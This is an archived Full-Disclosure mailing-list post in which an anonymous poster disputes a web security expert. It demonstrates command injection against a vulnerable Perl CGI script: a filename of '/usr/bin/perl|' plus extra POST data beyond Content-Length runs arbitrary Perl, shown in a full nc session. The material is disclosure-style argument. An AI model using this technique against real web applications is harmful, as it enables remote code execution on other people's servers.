full-disclosure - PR0V1NG RFP WR0NG

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

From: auto461723 at hushmail.com (auto461723@...hmail.com)
Subject: PR0V1NG RFP WR0NG

> - - That ~el8 sympathizer got it wrong.  It was not a blunder, and it still
> holds true:

> The Phrack article discusses how to pass parameters to a program exec'd
> *FROM WITHIN* a CGI.  You can not pass POST parameter (STDIN) to these
> applications because the parent CGI reads in and parses STDIN before the
> sub-application is executed.  The ~el8 sympathizer was talking about
> executing the CGI itself.  Two different things.

Our esteemed web security expert doesn't know how to play around with
Content-Length properly. Ok, let's test the theory.

We download thttpd and run it like so...

bash-2.05a$ ./thttpd -D -p 6767 -c "/cgi-bin/*"

And in our cgi-bin directory we create a rudimentary script that reads only
POST data and parses it in a manner consistent with almost every Perl script
on the Net...

--------------------------------------------------------------------------------
bash-2.05a$ cat myscript.pl 
#!/usr/bin/perl

read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

@zzz = split(/&/, $buffer);     
foreach $xxx (@zzz) {            
    ($var, $val) = split(/=/, $xxx);      
    $val =~ tr/+/ /;                       
    $val =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;   
    $form{$var} = $val;
}

$file = $form{'filename'};

open(F, "$file");
#@heh = <F>;
close(F);

#print "Content-Type: text/plain\r\n\r\n";
#print @heh;
--------------------------------------------------------------------------------

Now you're saying the parent CGI consumes STDIN and hence there is no way
for STDIN to be fed to the sub-application (a sub-application such as
/usr/bin/perl). 

This is incorrect.

I'm going to make the 'filename' variable equal "/usr/bin/perl|". So the
POST data looks like this:

filename=/usr/bin/perl|

That has a length of 23 characters, so we make Content-Length 23. But there
is nothing stopping us from sending in more data after the 23 characters --
data that WILL be fed to the sub-application, which you say can't happen.

--------------------------------------------------------------------------------
bash-2.05a$ nc localhost 6767
POST /cgi-bin/myscript.pl HTTP/1.0
Content-Length: 23

filename=/usr/bin/perl|
system("echo owned > /tmp/fuckwhitehatz");
^C punt!
bash-2.05a$ cat /tmp/fuckwhitehatz 
owned
--------------------------------------------------------------------------------

On closer inspection, the Novell advisory has nothing to do with this. I
apologize. But you are still wrong on other accounts. 

Parent CGI = myscript.pl, yes it reads in and parses STDIN as you said.

sub-application = /usr/bin/perl -- I still managed to get STDIN fed to it
for the running of arbitrary Perl scripts, which makes your comment below
false.

> You can not pass POST parameter (STDIN) to these applications because the
> parent CGI reads in and parses STDIN before the sub-application is
> executed.

Get your free encrypted email at https://www.hushmail.com